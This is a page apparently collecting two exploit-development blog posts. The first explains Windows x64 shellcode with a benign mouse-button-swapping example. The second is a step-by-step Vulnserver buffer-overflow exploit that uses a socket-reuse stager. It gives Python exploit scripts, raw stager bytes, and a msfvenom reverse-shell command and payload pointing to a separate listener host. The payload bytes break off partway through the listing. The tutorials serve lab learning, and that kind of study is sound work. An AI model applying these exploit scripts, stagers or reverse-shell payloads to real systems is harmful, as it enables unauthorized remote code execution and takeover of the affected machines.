Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

Writing shellcodes for Windows x64

30 June 2019 at 16:01

Long time ago I wrote three detailed blog posts about how to write shellcodes for Windows (x86 – 32 bits). The articles are beginner friendly and contain a lot of details. First part explains what is a shellcode and which are its limitations, second part explains PEB (Process Environment Block), PE (Portable Executable) file format and the basics of ASM (Assembler) and the third part shows how a Windows shellcode can be actually implemented.

This blog post is the port of the previous articles on Windows 64 bits (x64) and it will not cover all the details explained in the previous blog posts, so who is not familiar with all the concepts of shellcode development on Windows must see them before going further.

Of course, the differences between x86 and x64 shellcode development on Windows, including ASM, will be covered here. However, since I already write some details about Windows 64 bits on the Stack Based Buffer Overflows on x64 (Windows) blog post, I will just copy and paste them here.

As in the previous blog posts, we will create a simple shellcode that swaps the mouse buttons using SwapMouseButton function exported by user32.dll and grecefully close the proccess using ExitProcess function exported by kernel32.dll.

ASM for x64

There are multiple differences in Assembly that need to be understood in order to proceed. Here we will talk about the most important changes between x86 and x64 related to what we are going to do.

Please note that this article is for educational purposes only. It has to be simple, meaning that, of course, there are a lot of optimizations that can be done for the resulted shellcode to be smaller and faster.

First of all, the registers are now the following:

  • The general purpose registers are the following: RAX, RBX, RCX, RDX, RSI, RDI, RBP and RSP. They are now 64 bit (8 bytes) instead of 32 bits (4 bytes).
  • The EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP represent the last 4 bytes of the previously mentioned registers. They hold 32 bits of data.
  • There are a few new registers: R8, R9, R10, R11, R12, R13, R14, R15, also holding 64 bits.
  • It is possible to use R8d, R9d etc. in order to access the last 4 bytes, as you can do it with EAX, EBX etc.
  • Pushing and poping data on the stack will use 64 bits instead of 32 bits

Calling convention

Another important difference is the way functions are called, the calling convention.

Here are the most important things we need to know:

  • First 4 parameters are not placed on the stack. First 4 parameters are specified in the RCX, RDX, R8 and R9 registers.
  • If there are more than 4 parameters, the other parameters are placed on the stack, from left to right.
  • Similar to x86, the return value will be available in the RAX register.
  • The function caller will allocate stack space for the arguments used in registers (called “shadow space” or “home space”). Even if when a function is called the parameters are placed in registers, if the called function needs to modify the registers, it will need some space to store them, and this space will be the stack. The function caller will have to allocate this space before the function call and to deallocate it after the function call. The function caller should allocate at least 32 bytes (for the 4 registers), even if they are not all used.
  • The stack has to be 16 bytes aligned before any call instruction. Some functions might allocate 40 (0x28) bytes on the stack (32 bytes for the 4 registers and 8 bytes to align the stack from previous usage – the return RIP address pushed on the stack) for this purpose. You can find more details here.
  • Some registers are volatile and other are nonvolatile. This means that if we set some values into a register and call some function (e.g. Windows API) the volatile register will probably change while nonvolatile register will preserve their values.

More details about calling convention on Windows can be found here.

Function calling example

Let’s take a simple example in order to understand those things. Below is a function that does a simple addition, and it is called from main.

#include "stdafx.h"

int Add(long x, int y)
{
    int z = x + y;
    return z;
}

int main()
{
    Add(3, 4);
    return 0;
}

Here is a possible output, after removing all optimizations and security features.

Main function:

sub rsp,28
mov edx,4
mov ecx,3
call <consolex64.Add>
xor eax,eax
add rsp,28
ret

We can see the following:

  1. sub rsp,28 – This will allocate 0x28 (40) bytes on the stack, as we discussed: 32 bytes for the register arguments and 8 bytes for alignment.
  2. mov edx,4 – This will place in EDX register the second parameter. Since the number is small, there is no need to use RDX, the result is the same.
  3. mov ecx,3 – The value of the first argument is place in ECX register.
  4. call <consolex64.Add> – Call the “Add” function.
  5. xor eax,eax – Set EAX (or RAX) to 0, as it will be the return value of main.
  6. add rsp,28 – Clears the allocated stack space.
  7. ret – Return from main.

Add function:

mov dword ptr ss:[rsp+10],edx
mov dword ptr ss:[rsp+8],ecx
sub rsp,18
mov eax,dword ptr ss:[rsp+28]
mov ecx,dword ptr ss:[rsp+20]
add ecx,eax
mov eax,ecx
mov dword ptr ss:[rsp],eax
mov eax,dword ptr ss:[rsp]
add rsp,18
ret

Let’s see how this function works:

  1. mov dword ptr ss:[rsp+10],edx – As we know, the arguments are passed in ECX and EDX registers. But what if the function needs to use those registers (however, please note that some registers must be preserved by a function call, these registers are the following: RBX, RBP, RDI, RSI, R12, R13, R14 and R15)? In this case, the function will use the “shadow space” (“home space”) allocated by the function caller. With this instruction, the function saves on the shadow space the second argument (the value 4), from EDX register.
  2. mov dword ptr ss:[rsp+8],ecx – Similar to the previous instruction, this one will save on the stack the first argument (value 3) from the ECX register
  3. sub rsp,18 – Allocate 0x18 (or 24) bytes on the stack. This function does not call other function, so it is not needed to allocate at least 32 bytes. Also, since it does not call other functions, it is not required to align the stack to 16 bytes. I am not sure why it allocates 24 bytes, it looks like the “local variables area” on the stack has to be aligned to 16 bytes and the other 8 bytes might be used for the stack alignment (as previously mentioned).
  4. mov eax,dword ptr ss:[rsp+28] – Will place in EAX register the value of the second parameter (value 4).
  5. mov ecx,dword ptr ss:[rsp+20] – Will place in ECX register the value of the first parameter (value 3).
  6. add ecx,eax – Will add to ECX the value of the EAX register, so ECX will become 7.
  7. mov eax,ecx – Will save the same value (the sum) into EAX register.
  8. mov dword ptr ss:[rsp],eax and mov eax,dword ptr ss:[rsp] look like they are some effects of the removed optimizations, they don’t do anything useful.
  9. add rsp,18 – Cleanup the allocated stack space.
  10. ret – Return from the function

Writing ASM on Windows x64

There are multiple ways to write assembler on Windows x64. I will use NASM and the linker provided by Microsoft Visual Studio Community.

I will use the x64.asm file to write the assembler code, the NASM will output x64.obj and the linker will create x64.exe. To keep this process simple, I created a simple Windows Batch script:

del x64.obj
del x64.exe
nasm -f win64 x64.asm -o x64.obj
link /ENTRY:main /MACHINE:X64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE x64.obj

You can run it using “x64 Native Tools Command Prompt for VS 2019” where “link” is available directly. Just not forget to add NASM binaries directory to the PATH environment variable.

To test the shellcode I open the resulted binary in x64bdg and go through the code step by step. This way, we can be sure everything is OK.

Before starting with the actual shellcode, we can start with the following:

BITS 64
SECTION .text
global main
main:

sub   RSP, 0x28                 ; 40 bytes of shadow space
and   RSP, 0FFFFFFFFFFFFFFF0h   ; Align the stack to a multiple of 16 bytes

This will specify a 64 bit code, with a “main” function in the “.text” (code) section. The code will also allocate some stack space and align the stack to a multiple of 16 bytes.

Find kernel32.dll base address

As we know, the first step in the shellcode development process for Windows is to find the base address of kernel32.dll, the memory address where it is loaded. This will help us to find its useful exported functions: GetProcAddress and LoadLibraryA which we can use to achive our goals.

We will start finding the TEB (Thread Environment Block), the structure that contains thread information in usermode and we can find it using GS register, ar gs:[0x00]. This structure also contains a pointer to the PEB (Process Envrionment Block) at offset 0x60.

The PEB contains the “Loader” (Ldr) at offset 0x18 which contains the “InMemoryOrder” list of modules at offset 0x20. As we did for x86, first module will be the executable, the second one ntdll.dll and the third one kernel32.dll which we want to find. This means we will go through a linked list (LIST_ENTRY structure which contains to LIST_ENTRY* pointers, Flink and Blink, 8 bytes each on x64).

After we find the third module, kernel32.dll, we just need to go to offset 0x20 to get its base address and we can start doing our stuff.

Below is how we can get the base address of kernel32.dll using PEB and store it in the RBX register:

; Parse PEB and find kernel32

xor rcx, rcx             ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18]    ; RAX = PEB->Ldr
mov rsi, [rax + 0x20]    ; RSI = PEB->Ldr.InMemOrder
lodsq                    ; RAX = Second module
xchg rax, rsi            ; RAX = RSI, RSI = RAX
lodsq                    ; RAX = Third(kernel32)
mov rbx, [rax + 0x20]    ; RBX = Base address

Find the address of GetProcAddress function

It is really similar to find the address of GetProcAddress function, the only difference would be the offset of export table which is 0x88 instead of 0x78.

The steps are the same:

  1. Go to the PE header (offset 0x3c)
  2. Go to Export table (offset 0x88)
  3. Go to the names table (offset 0x20)
  4. Get the function name
  5. Check if it starts with “GetProcA”
  6. Go to the ordinals table (offset 0x24)
  7. Get function number
  8. Go to the address table (offset 0x1c)
  9. Get the function address

Below is the code that can help us find the address of GetProcAddress:

; Parse kernel32 PE

xor r8, r8                 ; Clear r8
mov r8d, [rbx + 0x3c]      ; R8D = DOS->e_lfanew offset
mov rdx, r8                ; RDX = DOS->e_lfanew
add rdx, rbx               ; RDX = PE Header
mov r8d, [rdx + 0x88]      ; R8D = Offset export table
add r8, rbx                ; R8 = Export table
xor rsi, rsi               ; Clear RSI
mov esi, [r8 + 0x20]       ; RSI = Offset namestable
add rsi, rbx               ; RSI = Names table
xor rcx, rcx               ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA

; Loop through exported functions and find GetProcAddress

Get_Function:

inc rcx                    ; Increment the ordinal
xor rax, rax               ; RAX = 0
mov eax, [rsi + rcx * 4]   ; Get name offset
add rax, rbx               ; Get function name
cmp QWORD [rax], r9        ; GetProcA ?
jnz Get_Function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x24]       ; ESI = Offset ordinals
add rsi, rbx               ; RSI = Ordinals table
mov cx, [rsi + rcx * 2]    ; Number of function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x1c]       ; Offset address table
add rsi, rbx               ; ESI = Address table
xor rdx, rdx               ; RDX = 0
mov edx, [rsi + rcx * 4]   ; EDX = Pointer(offset)
add rdx, rbx               ; RDX = GetProcAddress
mov rdi, rdx               ; Save GetProcAddress in RDI

Please note that this has to be done carefully. Some structures from the PE file are not 8 bytes, while we need in the end 8 bytes pointers. This is why in the code above there are registers such as ESI or CX used.

Find the address of LoadLibraryA

Since we have the address of GetProcAddress and the base address of kernel32.dll, we can use them to call GetProcAddress(kernel32.dll, “LoadLibraryA”) and find the address of LoadLibraryA function.

However, it is something important we need to be careful about: we will use the stack to place our strings (e.g. “LoadLibraryA”) and this might break the stack alignment, so we need to make sure it is 16 bytes alligned. Also, we must not forget about the stack space that we need to allocate for a function call, because the function we call might use it. So, we need to place our string on the stack and just after this to allocate space for the function we call (e.g. GetProcAddress).

Finding the address of LoadLibraryA is pretty straightforward:

; Use GetProcAddress to find the address of LoadLibrary

mov rcx, 0x41797261          ; aryA
push rcx                     ; Push on the stack
mov rcx, 0x7262694c64616f4c  ; LoadLibr
push rcx                     ; Push on stack
mov rdx, rsp                 ; LoadLibraryA
mov rcx, rbx                 ; kernel32.dll base address
sub rsp, 0x30                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x30                ; Cleanup allocated stack space
add rsp, 0x10                ; Clean space for LoadLibrary string
mov rsi, rax                 ; LoadLibrary saved in RSI

We put the “LoadLibraryA” string on the stack, setup RCX and RDX registers, allocate space on the stack for the function call, call GetProcAddress and cleanup the stack. As a result, we will store the LoadLibraryA address in the RSI register.

Load user32.dll using LoadLibraryA

Since we have the address of LoadLibraryA function, it is pretty simple to call LoadLibraryA(“user32.dll”) to load user32.dll and find out its base address which will be returned by LoadLibraryA.

mov rcx, 0x6c6c               ; ll
push rcx                      ; Push on the stack
mov rcx, 0x642e323372657375   ; user32.d
push rcx                      ; Push on stack
mov rcx, rsp                  ; user32.dll
sub rsp, 0x30                 ; Allocate stack space for function call
call rsi                      ; Call LoadLibraryA
add rsp, 0x30                 ; Cleanup allocated stack space
add rsp, 0x10                 ; Clean space for user32.dll string
mov r15, rax                  ; Base address of user32.dll in R15

The function will return the base address of the user32.dll module into RAX and we will save it in the R15 register.

Find the address of SwapMouseButton function

We have the address of GetProcAddress, the base address of user32.dll and we know the function is called “SwapMouseButton”. So we just need to call GetProcAddress(user32.dll, “SwapMouseButton”);

Please note that when we allocate space on stack for the function call, we do not allocate anymore 0x30 (48) bytes, we allocate only 0x28 (40) bytes. This is because to place our string (“SwapMouseButton”) on the stack we use 3 PUSH instructions, so we get 0x18 (24) bytes of data, which is not a multiple of 16. So we use 0x28 instead of 0x30 to align the stack to 16 bytes.

; Call GetProcAddress(user32.dll, "SwapMouseButton")

xor rcx, rcx                  ; RCX = 0
push rcx                      ; Push 0 on stack
mov rcx, 0x6e6f7474754265     ; eButton
push rcx                      ; Push on the stack
mov rcx, 0x73756f4d70617753   ; SwapMous
push rcx                      ; Push on stack
mov rdx, rsp                  ; SwapMouseButton
mov rcx, r15                  ; User32.dll base address
sub rsp, 0x28                 ; Allocate stack space for function call
call rdi                      ; Call GetProcAddress
add rsp, 0x28                 ; Cleanup allocated stack space
add rsp, 0x18                 ; Clean space for SwapMouseButton string
mov r15, rax                  ; SwapMouseButton in R15

GetProcAddress will return in RAX the address of SwapMouseButton function and we will save it into R15 register.

Call SwapMouseButton

Well, we have its address, it should be pretty easy to call it. We do not have any issue as we previously cleaned up and we do not need to alter the stack in this function call. So we just set the RCX register to 1 (meaning true) and call it.

; Call SwapMouseButton(true)

mov rcx, 1    ; true
call r15      ; SwapMouseButton(true)

Find the address of ExitProcess function

As we already did before, we use GetProcAddress to find the address of ExitProcess function exported by the kernel32.dll. We still have the kernel32.dll base address in RBX (which is a nonvolatile register and this is why it is used) so it is simple:

; Call GetProcAddress(kernel32.dll, "ExitProcess")

xor rcx, rcx                 ; RCX = 0
mov rcx, 0x737365            ; ess
push rcx                     ; Push on the stack
mov rcx, 0x636f725074697845  ; ExitProc
push rcx                     ; Push on stack
mov rdx, rsp                 ; ExitProcess
mov rcx, rbx                 ; Kernel32.dll base address
sub rsp, 0x30                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x30                ; Cleanup allocated stack space
add rsp, 0x10                ; Clean space for ExitProcess string
mov r15, rax                 ; ExitProcess in R15

We save the address of ExitProcess function in R15 register.

ExitProcess

Since we do not want to let the process to crash, we can “gracefully” exit by calling the ExitProcess function. We have the address, the stack is aligned, we have just to call it.

; Call ExitProcess(0)

mov rcx, 0     ; Exit code 0
call r15       ; ExitProcess(0)

Conclusion

There are many articles about Windows shellcode development on x64, such as this one or this one, but I just wanted to tell the story my way, following the previously written articles.

The shellcode is far away from being optimized and it also contains NULL bytes. However, both of these limitations can be improved.

Shellcode development is fun and swithing from x86 to x64 is needed, because x86 will not be used too much in the future.

Or course, I will add support for Windows x64 in Shellcode Compiler.

If you have any question, please add a comment or contact me.

Using Socket Reuse to Exploit Vulnserver

21 June 2019 at 00:00

When creating exploits, sometimes you may run into a scenario where your payload space is significantly limited. There are usually a magnitude of ways that you can work around this, one of those ways, which will be demonstrated in this post, is socket reuse.

What is Socket Reuse?

Before we dive into a practical example, it’s important to cover some basics as to how network based applications work. Although the target audience of this post will most likely know this, let’s go over it for completeness sake!

Below is a small diagram (courtesy of Dartmouth) which illustrates the sequence of function calls that will typically be found in a client-server application:

As you can see, before any connection is made from either the server or client, a socket is first created. A socket can then either be passed to a listen function (indicating that it should listen for new connections and accept them), or passed to a connect function (indicating it should connect to another socket that is listening elsewhere); simple stuff.

Now, as a socket represents a connection to another host, if you have access to it - you can freely call the corresponding send or recv functions to perform network operations. This is the end goal of a socket reuse exploit.

By identifying the location of a socket, it is possible to listen for more data using the recv function and dump it into an area of memory that it can then be executed from - all with only a handful of instructions that should fit into even small payload spaces.

You may be asking - why not just create a new socket? The reason for this, is that a socket is bound to a port - meaning you are not able to create a new socket on a port that is already in use. If you were to create a socket listening on a different port altogether, it would lose reliability given most targets would typically be behind a firewall.

Tools Required to Follow Along

For the demonstration in this post, I’ll be using the 32-bit version of x64dbg running on Windows 10. The same steps will most likely work in most other debuggers too, but x64dbg is my program of choice!

Creating the Initial Exploit

Now that you’re hopefully caught up on how socket programming works, let’s dive in. To demonstrate this concept, we’ll be using the Vulnserver application developed by Stephen Bradshaw which you can grab on GitHub from: https://github.com/stephenbradshaw/vulnserver

Rather than explaining the initial overflow, we’ll start off with the proof of concept below, which will overwrite EIP with \x42\x42\x42\x42. We will then build upon this through this post:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x41' * 70
buffer += '\x42' * 4
buffer += '\x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

If we load vulnserver.exe up in x64dbg and fire the exploit at it as is, we will be able to see that at the point of crash, the stack pointer [$esp] is pointing to the area that directly follows the EIP overwrite.

Although we sent a total of 500 bytes in this position, this has been heavily truncated to only 20 bytes. This is a big problem, as this won’t suffice for the operations we wish to carry out. However, we do have the full 70 byte \x41 island that precedes the EIP overwrite at our disposal. As long as we can pass execution into the 20 byte island that follows the overwrite, we can do a short jump back into the 70 byte island.

As the $esp register is pointing at the 20 byte island, the first thing we need to do is locate an executable area of memory that contains a jmp esp instruction which is unaffected by ASLR so we can reliably hardcode our exploit to return to this address.

In x64dbg, we can do this by inspecting the Memory Map tab and looking at what DLLs are being used. In this case, we can see there is only one DLL of interest which is essfunc.dll.

If we take note of the base address of this DLL (in this case, 0x62500000), we can then go over to the Log tab and run the command imageinfo 62500000 to retrieve information from the PE header of the DLL and see that the DLL Characteristics flag is set to 0; meaning no protections such as ASLR or DEP are enabled.

Now that we know we can reliably hardcode addresses found in this DLL, we need to find a jump that we can use. To do this, we need to go back to the Memory Map tab and double click the only memory section marked as executable (noted by the E flag under the Protection column).

In this case, we are double clicking on the .text section, which will then lead us back to the CPU tab. Once here, we can search for an instruction by either using the CTRL+F keyboard shortcut, or right clicking and selecting Search for > Current Region > Command. In the window that appears, we can now enter the expression we want to search for, in this case JMP ESP:

After hitting OK on the previous dialog, we will now see several instances of jmp esp that have been identified in the .text section of essfunc.dll. For this example, we will take the address of the first one (0x625011AF).

Now that we have an address of a jmp esp instruction that will take us to the 20 byte island after the EIP overwrite, we can replace \x42\x42\x42\x42 in our exploit with said address (keep in mind, this needs to be in reverse order due to the use of little endian).

Our code will now look like this:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x41' * 70
buffer += '\xaf\x11\x50\x62'
buffer += '\x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

Before running the exploit again, a breakpoint should be placed at 0x625011af (i.e. our jmp esp instruction). To do this, jump to the offset by either double clicking the result in the References tab, or use the CTRL+G shortcut to open the expression window and enter 0x625011af.

Once here, toggle the breakpoint using the context menu or by pressing F2 with the relevant instruction highlighted.

If we now run the exploit again, we will hit the breakpoint and after stepping into the call, we will be taken to our 20 byte island of 0x43.

Now that we can control execution, we need to jump back to the start of the 70 byte island as mentioned earlier. To do this, we can use a short jump to go backwards. Rather than calculating the exact offset manually, x64dbg can do the heavy lifting for us here!

If we scroll up the CPU tab to find the start of the 70 byte island containing the \x41 bytes, we can see there is a 0x41 at 0x0110f980 and also two which directly precede that.

Note: This address will be different for you, make sure to follow along and use the address that is appropriate for you

We cannot copy the address of the first 2 bytes, but we can instead subtract 2 bytes from 0x0110f980 to get the address 0x0110f97e. Now, if we go back to where $esp is pointing and double click the instruction there (specifically the inc ebx text), or press the space bar whilst the instruction is highlighted, we will enter the Assemble screen.

In here, we can enter jmp 0x0110f97e, hit OK and it will automatically calculate the distance and create a short jump for us; in this case, EB B4.

We can verify this by either following the arrow on the left side of the instructions, or by highlighting the edited instruction again and clicking the G key to generate the graph view. If correct, the jmp should go to the start of the \x41 island.

We can now update the exploit to include this instruction before the \x43 island that was previously in place and replace the remaining bytes in both the 70 byte and 20 byte islands with NOP sleds so that we can work with them a bit easier later when we are assembling our exploit in the debugger.

After making these changes, the exploit should look like this:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x90' * 70
buffer += '\xaf\x11\x50\x62'    # jmp esp
buffer += '\xeb\xb4'            # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

If we execute the exploit again, we will now find ourselves in the 70 byte NOP sled that precedes the initial EIP overwrite:

Analysis & Socket Hunting

Now that the run of the mill stuff is finally done with, we can get to the more interesting part!

It should be noted, at this point I rebooted the VM that I was working in, which resulted in the base address changing from what is seen in the previous screenshots. Although this doesn’t affect the exploit as we are not using any absolute addresses outside of essfunc.dll, I am pointing it out to save any confusion should anyone notice it!

The first thing we need to do before we can start putting together any code is to figure out where we can find the socket that the data our exploit is sending is being received on. If you recall from the earlier section of this post, the function calls follow the pattern of socket() > listen() > accept() > recv() if a server is accepting incoming connections and then receiving data from the client.

With this in mind, we should restart the application and let it pause at the entry point (the second breakpoint that is automatically added) and begin to search for these system calls. As the Vulnserver application is quite simple, we don’t have to search very far. By scrolling down through the instructions we can find the point at which the welcome message is sent to the client (which is sent after the client connects) and the subsequent call to recv that precedes the processing of the command sent by the end user:

If we now place a breakpoint on the call <JMP.&recv> instruction and resume execution, we will be able to inspect the arguments that are being passed to the function on the stack.

Without any context, these values will make no sense. Thankfully, detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the recv function at https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv.

As can be seen in the documentation, the signature of the recv function is:

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

This now allows us to make sense of the arguments that we can see sat on the stack.

  • The first argument (on the top of the stack) is the socket file descriptor; in this, case the value 0x128.
  • The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored. In this case, it will store the received data at 0x006a3408
  • The third argument is the amount of data to expect. This has been set at 0x1000 bytes (4096 bytes)
  • The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used, this is set to 0

If we now step over the call to recv, and then jump to 0x006a3408 in the dump tab, we will see the full payload that was sent by the exploit:

With an understanding of the function call now in hand, we need to figure out how we can find that socket descriptor once more to use in our own call to recv. As this value can change every time a new connection is made, it cannot be hard coded (that would be too easy!).

Before moving on, be sure to double click the call instruction and make note of the address that recv is found at; we will need this later. In this case, it can be found at 0x0040252C:

If we now allow the program to execute until we reach our NOP sled once more, we will run into a problem. When we look at where the file descriptor was initially on the stack when the program called recv (i.e. 0x0107f9c8), it is no longer there - our overflow has overwritten it!

Although our buffer reaches just far enough to overwrite the arguments that are passed to recv, the file descriptor will still exist somewhere in memory. If we restart the program and pause at the call to recv again, we can start to analyse how it finds the file descriptor in a bit more depth.

As the socket is the first argument passed to recv / the last argument to be pushed on to the stack, we need to find the last operation to place something on the stack before the call to recv. Conveniently, this appears directly above the call instruction and is a mov that moves the value stored in $eax to the address pointed to by $esp (i.e. the top of the stack).

Directly above that instruction, is a mov which moves the value in $ebp-420 into $eax (i.e. 0x420 [blazeit] bytes below the frame pointer). At this point in time, $ebp-420 is 0x011DFB50.

If we now allow execution to continue until we hit the breakpoint at our NOP sled and then follow this address through in either the dump tab or stack view, we can see that the value is still there.

Note: the socket file descriptor is now 120, rather than 128, this can and will change; hence why we need to dynamically retrieve it

As the address that the socket is stored in can [and will] change, we need to calculate the distance to the current address from $esp. By doing this, we will not have to hard code any addresses, and can instead calculate dynamically the address that the socket is stored in.

To do this, we just take the current address of the socket (0x011DFB50) and subtract the address that $esp is pointing at (0x011DF9C8), which leaves us with a value of 0x188, meaning the socket can be found at $esp+0x188.

Writing the Socket Stager

Now we have all the information we need to actually get to writing the stager! The first thing we should do, whilst it is fresh in mind, is grab a copy of the socket we found and store it in a register so we have quick access to it.

To construct the stager, we will write the instructions in place in the 70 byte NOP sled within x64dbg. Whilst doing this, we will need to jump through some small hoops to avoid instructions that would introduce null bytes.

First, we need to push $esp on to the stack and pop it back into a register - this will give us a pointer to the top of the stack that we can safely manipulate. To do this, we will add the instructions:

push  esp
pop   eax

Next, we need to increase the $eax register by 0x188 bytes. As adding this value directly to the $eax register would introduce several null bytes, we instead need to add 0x188 to the $ax register (if this doesn’t make sense, lookup how the registers can be broken up into smaller registers).

add   ax, 0x188

Note: when entering the commands interactively, it is important to enter values as illustrated above. If you were to enter the command add ax, 188, it would assume you’re entering a decimal value and automatically convert it to hex. Prefixing with 0x will ensure it is handled as a hexadecimal value.

We identified in the previous section that the socket was found to be 0x188 bytes away from $esp. As $eax is pointing to the same address as $esp, if we add 0x188 to it, we will then have a valid pointer to the address that is storing the socket!

If we now step through this, we will see that $eax now has a pointer to the socket (120) found at 0x011DFB50.

Next, before we start to push anything onto the stack, we need to make a slight adjustment to the stack pointer. As you are probably aware, the stack pointer starts at a higher address and grows into a lower address space. As the stager we are currently running from our overflow is so close to $esp, if we start to push data on to the stack, we are most likely going to cause it to overwrite the stager at runtime and cause a crash.

The solution to this is simple - we just decrease the stack pointer so that it is pointing to an address that appears at a lower address than our payload! A clearance of 100 bytes (0x64) is more than enough in this case, so we set the next instruction to:

sub esp, 0x64

After stepping into this instruction, we will see in the stack pane that $esp is pointing to an address that precedes the stager we are currently editing (the highlighted bytes in red):

Now that the stack pointer is adjusted, we can begin to push all our data. First, we need to push 0 onto the stack to set the flags argument. As we can’t hard code a null byte, we can instead XOR a register with itself to make it equal 0 and then push that register onto the stack:

xor   ebx, ebx
push  ebx

The next argument is the buffer size - 1024 bytes (0x400) should be enough for most payloads. Once again, we have a problem with null bytes, so rather than pushing this value directly onto the stack, we need to first clear out a register and then use the add instruction to construct the value we want.

As the ebx register is already set to 0 as a result of the previous operation, we can add 0x4 to the $bh register to make the ebx register equal 0x00000400 (again, if this doesn’t make sense, look up how registers can be split into smaller registers):

add   bh, 0x4
push  ebx

Next, is the address where we should store the data received from the exploit. There are two ways we can do this:

  1. Calculate an address, push it on to the stack and then retrieve it after recv returns and jmp to that address
  2. Tell recv to just dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it

The second option is definitely the easiest and most space efficient route. To do this, we need to determine how far away $esp is from the end of the stager. By looking at the current stack pointer (0x011df95c) and the address of the last 4 bytes of the stager (0x011df9c0), we can determine that we are 100 bytes (0x64) away. We can verify this by entering the expression esp+0x64 in the dump tab and verifying that we are taken to the final 4 NOPs:

With the correct calculation in hand, we will once again push $esp on to the stack and pop it back out into a register and then make the appropriate adjustment using the add instruction, before pushing it back on to the stack:

push  esp
pop   ebx
add   ebx, 0x64
push  ebx

Finally, we have one last operation to complete our argument list on the stack, and that is to push the socket that we stored in $eax earlier on. As the recv function expects a value rather than a pointer, we need to dereference the pointer in $eax so that we store the value (120) that is in the address that $eax points to; rather than the address itself.

push  dword ptr ds:[eax]

If we step into this final instruction, we will now see that all our arguments are in order on the stack:

We are now at the final step - we just need to call recv. Of course, nothing is ever simple, we have another issue. The address of the recv function that we noted earlier starts with yet another null byte. As this null byte is found at the start of the address rather than in the middle, we can thankfully work around this easily with one of the shifting instructions.

Rather than pushing the original value of 0x0040252C, we will instead store 0x40252c90 in $eax (note that we have shifted everything 1 byte to the left and added 90 to the end). We will then use the shr instruction to shift the value to the right by 8 bits, which will result in the last byte (90) being removed, and a new null byte appearing before 40, leaving us with the original value of 0x0040252C in $eax, which we can then call with call eax

mov   eax, 0x40252C90
shr   eax, 8
call  eax

If we now continue execution and pause at the call instruction, we can see that $eax is pointing at recv:

And with that - our stager is complete! You can now grab a copy of the hex values to be added into the exploit by highlighting the newly added instructions and doing a binary copy from the context menu.

Finalising the Exploit

Now that we have the final stager shell code complete, we can place it at the start of the 70 byte NOP sled in our exploit. When doing this, we need to be sure that the island still remains at a total of 70 bytes, as to not break the overflow and to ensure that we have NOPs that will lead to the final payload.

Additionally, we will make the exploit wait a few seconds before it sends the final payload, to ensure that our stager has executed. Although any data we send should still be read even if it is sent before the stager calls recv as a result of buffering, my personal preference is to add the sleep in to be 100% sure - feel free to experiment with this if you’d rather not include it.

The exploit should now look like this:

import os
import socket
import sys
import time

host = '10.2.0.129'
port = 9999

stager =  '\x54\x58\x66\x05\x88\x01\x83\xec'
stager += '\x64\x33\xdb\x53\x80\xc7\x04\x53'
stager += '\x54\x5b\x83\xc3\x64\x53\xff\x30'
stager += '\xb8\x90\x2c\x25\x40\xc1\xe8\x08'
stager += '\xff\xd0'

buffer =  'KSTET '
buffer += stager
buffer += '\x90' * (70 - len(stager)) # nop sled to final payload
buffer += '\xaf\x11\x50\x62'          # jmp esp
buffer += '\xeb\xb4'                  # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

time.sleep(5)
s.send('\x41' * 1024)

For illustration purposes, I have opted to send a 1024 byte payload of \x41, so that we can easily verify that it works as intended when debugging. If we restart vulnserver.exe once more and step over the recv call in the stager code, we can see that the 1024 bytes of 0x41 are received and are placed at the end of our NOP sled - which will be subsequently executed:

Adding a Payload

With the exploit now finished, we can replace the 1024 bytes of 0x41 with an actual payload generated using msfvenom and give it a test run!

Below is the final exploit using the windows/shell_reverse_tcp payload from msfvenom:

import os
import socket
import sys
import time

host = '10.2.0.129'
port = 9999

# Payload generated with: msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.130 LPORT=4444 -f python -v payload
payload =  ""
payload += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += "\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += "\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += "\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += "\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += "\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
